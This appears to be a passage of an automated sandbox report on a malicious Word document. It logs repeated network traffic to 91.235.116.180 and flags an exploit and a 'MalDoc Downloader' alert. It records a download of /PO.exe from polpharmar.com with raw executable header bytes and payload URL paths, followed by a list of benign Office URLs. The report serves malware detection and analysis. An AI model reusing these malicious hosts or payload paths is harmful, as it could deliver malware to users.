Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 91.235.116.180:80 -> 192.168.2.6:49803
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49802 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49803 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49818 -> 91.235.116.180:80
Source: global traffic TCP traffic: 192.168.2.6:49820 -> 91.235.116.180:80
Source: winword.exe Memory has grown: Private usage: 0MB later: 123MB

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 91.235.116.180 80 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Domain query: polpharmar.com
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2850263 ETPRO TROJAN MalDoc Downloader User-Agent 192.168.2.6:49818 -> 91.235.116.180:80
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: THCPROJECTSRO THCPROJECTSRO
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /PO.exe HTTP/1.1Connection: Keep-AliveHost: polpharmar.com
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Aug 2022 08:58:06 GMTServer: ApacheLast-Modified: Sun, 31 Jul 2022 09:12:24 GMTAccept-Ranges: bytesContent-Length: 935936Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 56 08 00 00 ee 05 00 00 00 00 00 0c 69 08 00 00 10 00 00 00 70 08 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 0e 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 e0 08 00 26 2c 00 00 00 d0 09 00 00 04 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 09 00 84 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 09 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 e8 08 00 d0 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 4a 08 00 00 10 00 00 00 4c 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 80 09 00 00 00 60 08 00 00 0a 00 00 00 50 08 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 70 22 00 00 00 70 08 00 00 24 00 00 00 5a 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 20 38 00 00 00 a0 08 00 00 00 00 00 00 7e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 26 2c 00 00 00 e0 08 00 00 2e 00 00 00 7e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 34 00 00 00 00 10 09 00 00 00 00 00 00 ac 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 20 09 00 00 02 00 00 00 ac 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 84 94 00 00 00 30 09 00 00 96 00 00 00 ae 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72 63 00 00 00 00 04 05 00 00 d0 09 00 00 04 05 00 00 44 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0e 00 00 00 00 00 00 48 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /test.html HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; ms-office; MSOffice 16)Accept-Encoding: gzip, deflateHost: polpharmar.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /test.html HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; ms-office; MSOffice 16)Accept-Encoding: gzip, deflateHost: polpharmar.comIf-Modified-Since: Sun, 31 Jul 2022 09:45:54 GMTConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /test.inf HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: polpharmar.comConnection: Keep-Alive
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: http://b.c2r.ts.cdn.office.net/pr
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: ~WRS{9B19E946-E79A-418D-B9B0-6F75274E096A}.tmp.1.dr String found in binary or memory: http://polpharmar.com/test.html
Source: POtest.exe, 00000024.00000002.696591252.00000000034F0000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://polpharmar.com/yeh746yrhuey7657ujjif87589fif8jjfut765hdy65hyr8889jguy/Cotwthzqsjyogagwjqrniki
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/authenticated
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://addinslicensing.store.office.com/apps/remove
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://api.aadrm.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://api.aadrm.com/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://api.addins.store.office.com/app/query
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://api.cortana.ai
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://api.diagnostics.office.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://api.diagnosticssdf.office.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://api.diagnosticssdf.office.com/v2/feedback
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://api.diagnosticssdf.office.com/v2/file
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://api.microsoftstream.com/api/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://api.office.net
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://api.onedrive.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://apis.live.net/v5.0/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://augloop.office.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://augloop.office.com/v2
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://autodiscover-s.outlook.com/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://cdn.entity.
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://clients.config.office.net/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://clients.config.office.net/c2r/v1.0/InteractiveInstallation
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://config.edge.skype.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://cortana.ai
